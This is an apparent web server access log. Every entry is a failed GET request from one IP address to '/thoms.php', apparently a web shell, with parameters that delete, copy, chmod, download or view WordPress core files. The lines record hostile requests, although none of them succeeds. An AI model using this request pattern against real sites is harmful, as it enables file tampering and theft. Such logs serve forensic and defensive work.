45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?chmod=wp-diff.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=wp-diff.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?del=abilities-api&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=abilities-api&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2FPHPMailer&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2FPHPMailer&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?chmod=class-wp.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fdate.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fdate.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?del=ms-site.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-site.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?del=template-loader.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=template-loader.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?dl=class-wp-http-cookie.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-cookie.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?dl=rest-api.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=rest-api.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?del=option.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=option.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=version.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=version.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?dl=class-wp-block-processor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-processor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?del=class-wp-widget.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-widget.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?del=class-wp-icons-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-icons-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?del=view-transitions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=view-transitions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?del=bookmark.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=bookmark.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?del=class-wp-customize-panel.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-panel.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?del=class-wp-theme-json.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fjson-schema.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fjson-schema.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:41 -0400] "GET /thoms.php?chmod=js&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=js&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?chmod=ms-default-constants.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-default-constants.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?chmod=assets&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=assets&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?dl=class-wp-user-request.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-request.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-session-tokens.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?chmod=feed-atom.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-atom.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Futf8.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Futf8.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?del=class-wp-customize-widgets.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-widgets.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?dl=class-wp-image-editor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?del=cache-compat.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=cache-compat.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-comment-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-comment-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?dl=class-wp-locale.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?del=class-wp-url-pattern-prefixer.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-url-pattern-prefixer.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?dl=ai-client.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ai-client.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?dl=class-oembed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-oembed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?dl=class-wp-editor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-editor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?dl=class-wp-error.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-error.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?dl=class-wp-site.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-site.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?del=class-wp-http-streams.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-streams.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-locale.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?dl=ms-default-filters.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-default-filters.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fbuild&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fbuild&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fwidgets HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fwidgets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-json.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:43 -0400] "GET /thoms.php?chmod=class-wp-block-type-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?chmod=class-wp-block-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?dl=class-wp-role.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-role.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?del=class-wp-view-config-data.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-view-config-data.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?del=ms-files.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-files.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?dl=ms-load.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-load.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?dl=pluggable.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=pluggable.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:44 -0400] "GET /thoms.php?chmod=class-oembed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-oembed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
